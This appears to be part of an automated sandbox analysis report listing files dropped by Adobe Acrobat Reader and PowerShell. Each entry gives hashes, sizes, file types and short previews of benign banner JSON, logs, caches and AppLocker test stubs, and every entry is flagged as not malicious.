SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfbPtdPeUkwRe9:YvXKXZHfUYpW722sGDV8Ukee9
MD5:	2D6F5FE533AB51E292069062E8FEA712
SHA1:	91418A109B447C5E52E8AE17D66291A5032BDC07
SHA-256:	BC7C1F5B81DFF29DCAA4ABA5EF09D44876F93C79CDC02D831F6325FE635620BA
SHA-512:	F126F4D387E228939228772DBB52A060051976B438863C7F421779942D4A5ED962227769C47F2CCA1C8E2E65A69DF48E60169524BAFB33AB7D09C9BB41BE6514
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.260734266608206
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJf21rPeUkwRe9:YvXKXZHfUYpW722sG+16Ukee9
MD5:	F3EC12DDF14BD035DB7989806BA50F0B
SHA1:	BD0645435C2002F52029A80785122DFD5B48940E
SHA-256:	5EB72F551E0B5E6F0B4036AAD6EA9D4E85E7337399A25C605567ED0C22DDD7CD
SHA-512:	E52936D65B8F902643AFA47A2496910A0E6AA0B0145499AC251004A37500A95FCA163C108D9D0C05562F092215272A4D93A009DDD584D992EE8D7A60873E1273
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659799453711846
Encrypted:	false
SSDEEP:	24:Yv6XZtid5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSD1:YvFdFBgkDMUJUAh8cvMx
MD5:	6CD511D8AEA557B75E8F82B9F417E4D9
SHA1:	FBB03E1D27E09D18E7CF4E8A6D9040F09C23F919
SHA-256:	CA2F869E7623E94746D755BA5DD677886ECAEA624394A640B8D22C6F375F2B9B
SHA-512:	DC0C2EE1C6CA8892388C5B8A518A1AE25960396276F595263D264DDA2808D0BBF03EDEDC55F47618E56FA3A106F32E2F1CB8AED12E28DF5619AC3696A99B33F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.234651490218141
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfshHHrPeUkwRe9:YvXKXZHfUYpW722sGUUUkee9
MD5:	26A5AACE5F8C942CD1A2C42047E0CC0E
SHA1:	DECF501B08F2C03A0A0733DA0ABEFF51E5EF9168
SHA-256:	C7622EBEF137338CC0A0B9BB22B55D30DBE0A0B6910AAFC6FC3BE3C937B9982C
SHA-512:	77DF15997044C55582657BDAA4A1099903DF0447BDA3A1F6757C8FE2A77336775476A8EA33C57C454DC876A448B3A1862474611587E7B8AC7EA98EC5C1AD2696
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.23985556716863
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJTqgFCrPeUkwRe9:YvXKXZHfUYpW722sGTq16Ukee9
MD5:	91118082C71306EC815BCD2ED2F30AF4
SHA1:	6E14A58D91B35E9EA1F4749D9BAE598AF5B88180
SHA-256:	28402FAF97849956D7DBC3DC791CFF5923CE83EBE1AA4BB69B65368E3810F52E
SHA-512:	0D19230D967BF783F3799694AEA9D05AE6E2BB6EBCB083501D22786A783A975971541E6A6B25949EBAE10DA073676E1F5145D92005D7DDDE012C8E4C147E1D8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144595948008456
Encrypted:	false
SSDEEP:	24:Yqx+LyayBay7rLPoGq4Grh28y8x8jKj0SqF7IK2muV2LSEC1/gRH94ucR5jh9YmD:YqLvrLFXGkVscHQ+EcH94lRH9YmZRX
MD5:	582CDA3F5605FD7AE3006BFE6193AA2A
SHA1:	44D7B40B451860657BAB95B9659F7600A0E29314
SHA-256:	19B2AA0F7CD9B128AB1257A2E56D9E94122B941A36A2DC1EC7B07C453943E967
SHA-512:	24A4DE5300B5085E94EF9EA4CE90E5F55B65169DE3B3720C39C281C85EDB480F9BBE19A529FEAA0B28A105A22A75D11C3EDC103596FD3756462F3CA9415DA792
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"58e6c89bbb86a24093fa55dfdd8d041f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736516534000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5db6659755a433983cae8c81e3b55ffa","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736516534000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bc15078ad583140069909654c3a7ef8d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736516534000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2a2334b87b00946043300fe0394acc9e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736516534000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"652786bc8f716ca2f7c1d9e675d009c0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736516534000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8c73df2833fd957616a69ebfb7d40fe7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9857910116720471
Encrypted:	false
SSDEEP:	48:TVl2GL7ms6ggOVpZFIB2zutYtp6PbFIB3:vVmsCOVpZFKaMF4
MD5:	4319A45358B196C45619882F0FB4E9D8
SHA1:	28CB7A387E5BE8B9AB000272B681D1A49B09BC13
SHA-256:	BC15AEBA39EE1782B74EEB810BF19D0B33E17B9456132DBAD952E2576B6CE79F
SHA-512:	CD3A11493FD9E78BBF365F9A417EA02134BD98BFB22517BCF53B4DFEDDAE3C64EF7F0484C018CC11ABF420BCD06D52ECF5D600AC833110BE38B4B187ED68857D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3399835869012597
Encrypted:	false
SSDEEP:	48:7MhNGgOVpZFIBtzutYtp6PMiXqll2GL7msg:7aOVpZFfaAqVmsg
MD5:	BE502FE1371B6115ABCEC805FC940BF3
SHA1:	42D91B66E99803630544DD91FE049459AB9D5927
SHA-256:	2D3CA6C88BC4FE6C737D1535B44D1BA3F89FFB9131478EA58E330D6BAE3FE123
SHA-512:	03379AC9C308638C72C214F5B8AEF59FAEFB7C2E1EE1C923D95AFD8E346B41C333ECB204FB1C85D815750E0BC84FCE8E93F2CFF9363FEAFB4C6464668B976AE7
Malicious:	false
Preview:	.... .c.......g>......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgu+tWC13rqTz4DMK3JwHRsGd/Twkw3Yyu:6a6TZ44ADEu+tBdrq/4Dj8Twz3K
MD5:	CDC6AE14F9D731E502C7E1CF587439B1
SHA1:	0977E709598F7649DE38500FDD113000F0263E8D
SHA-256:	ACFCC1E4E45345F31C82671C147AF62C4AAAD7A7975167D0C4CFE7E823103330
SHA-512:	BC902B0A8F94C2D6A185A2F442332228D6ADD6C68D6A642F790D45693210D06AF1D26EB1CE023F7E1FF25159DBD94A6C47E54FA51494E8D397CB7D581B0EE358
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI28494.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl+R:Qw946cPbiOxDlbYnuRK+bHR
MD5:	EA66A78CDC00E760B1EB3A32275C49D8
SHA1:	562FCE8FC29C31162608F63AE333589409899CA5
SHA-256:	99EC94D851B70E289DE68CA8600446B0EAD26FFDBA87D9B55A8EE7D275DA7596
SHA-512:	44029BEE5F1C00359775E3DC446A58C62CAE0A36EB81C590DF6CEDB55F9F06F86D3512669B82D1F2A7050C8D2A78DBDDDF441680DA14146CE6DF390BEE78AC40
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.4.2.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2du1qa5.i10.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btebzavs.3vu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-42-08-548.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.351664947807482
Encrypted:	false
SSDEEP:	384:Uae7VJsq84Lr/DrYnR1azxin/QTaqkE6P4nxLDh7xwKgqXLgoj/ufUfmXp/X3ogL:oL0
MD5:	C19A14C85CF4FC0CFD495004454DD842
SHA1:	3F58D6A1C130242E7DEB14A097865090B51FDF75
SHA-256:	1D886398571EEBEEB2752A92CDCCB150D8CF3263905EFC0D5096425EEADD07F9
SHA-512:	3334FEF6AD2AF1573B0FBFA436C6EC57D4A5669269D1C850F017BE7361FA54F4D7D4ACE642946C174D4F38F00A15DFFE5F799F1C4C75C3AC030D3E95A1263729
Malicious:	false
Preview:	SessionID=2ee844cd-04cb-479a-a87a-b62cfca94687.1736516528565 Timestamp=2025-01-10T08:42:08:565-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2ee844cd-04cb-479a-a87a-b62cfca94687.1736516528565 Timestamp=2025-01-10T08:42:08:567-0500 ThreadID=7804 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2ee844cd-04cb-479a-a87a-b62cfca94687.1736516528565 Timestamp=2025-01-10T08:42:08:567-0500 ThreadID=7804 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2ee844cd-04cb-479a-a87a-b62cfca94687.1736516528565 Timestamp=2025-01-10T08:42:08:567-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2ee844cd-04cb-479a-a87a-b62cfca94687.1736516528565 Timestamp=2025-01-10T08:42:08:568-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393070837071018
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbS:Ns
MD5:	50CEA39D30FF3330C0E51569D9F75534
SHA1:	4E51E5270559DA1C8AE3C527F1E84908C885639A
SHA-256:	588D97527B84232A5C34ADCE2D2AC306A16C44097256CE118337AC922008C076
SHA-512:	E4774CBEA2A073AC46C5A8B30DE003DBBFE6B040EBADE191CB66A8358A783DD48C95683002A35FDA441A510B06EDA30FB7F63DBF6C437BBF317B47992CDA7C15
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1d745a6c-930a-417a-a010-98081e2798e7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5bccc4de-7843-4ddb-89e4-083e119f133a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\60a6032a-0a9b-4a86-ac3e-143967d54457.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
